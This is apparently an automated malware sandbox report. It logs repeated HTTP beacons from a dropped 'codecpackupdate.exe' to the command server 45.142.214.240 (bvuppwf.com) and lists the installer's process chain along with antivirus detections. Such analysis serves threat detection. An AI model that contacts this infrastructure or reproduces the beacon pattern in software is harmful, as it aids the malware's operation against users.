Mar 29, 2024 12:59:46.415388107 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49800	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:46.748719931 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:47.047234058 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:47.153192043 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:47.457124949 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49801	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:47.793024063 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:48.091517925 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:48.200098038 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:48.501480103 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49802	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:48.841670036 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:49.144664049 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49803	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:49.480505943 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:49.777338028 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49804	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:50.109189034 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:50.411803961 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49805	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:50.746015072 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:51.042684078 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:51.153063059 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:51.456732988 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49806	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:51.794274092 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:52.092668056 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Mar 29, 2024 12:59:52.205310106 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:52.510409117 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49807	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:52.843293905 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:53.149842978 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49808	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:53.482568979 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:53.783272982 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49809	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:54.123874903 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:54.431598902 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49810	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:54.762451887 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:55.064431906 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49811	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:55.404428959 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:55.707166910 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49812	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:56.055876970 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:56.367341995 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49813	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:56.945214987 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:57.244874001 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49814	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:59.031291962 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:59.332313061 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49815	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 12:59:59.675457001 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 12:59:59.972255945 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 11:59:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49816	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 13:00:00.317750931 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 13:00:00.622545958 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 12:00:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49817	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 13:00:01.144442081 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 13:00:01.452119112 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 12:00:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49818	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 13:00:01.795964956 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 13:00:02.097373009 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 12:00:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49819	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 13:00:02.442250967 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 13:00:02.749161005 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 12:00:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49820	45.142.214.240	80	7084	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe

Timestamp	Bytes transferred	Direction	Data
Mar 29, 2024 13:00:03.080619097 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e992824d875a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b616e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ee949d3ace6a9216 HTTP/1.1 Host: bvuppwf.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mar 29, 2024 13:00:03.385246992 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Mar 2024 12:00:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Target ID:	0
Start time:	12:57:56
Start date:	29/03/2024
Path:	C:\Users\user\Desktop\0RWRPBSuDx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\0RWRPBSuDx.exe"
Imagebase:	0x400000
File size:	1'954'271 bytes
MD5 hash:	D19197438A7371BAAAC62FEC8DABB3D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	12:57:56
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-EDLGI.tmp\0RWRPBSuDx.tmp" /SL5="$20420,1594531,54272,C:\Users\user\Desktop\0RWRPBSuDx.exe"
Imagebase:	0x400000
File size:	693'760 bytes
MD5 hash:	D8E53E1B8EA1B12BC3F40BB9F8B14F38
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, Virustotal, Browse
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	12:57:57
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe" -i
Imagebase:	0x400000
File size:	1'765'117 bytes
MD5 hash:	0E347C627EFDED3BF78AFA21FF8B54D3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 38%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:57:57
Start date:	29/03/2024
Path:	C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Codec Pack Update\codecpackupdate.exe" -s
Imagebase:	0x400000
File size:	1'765'117 bytes
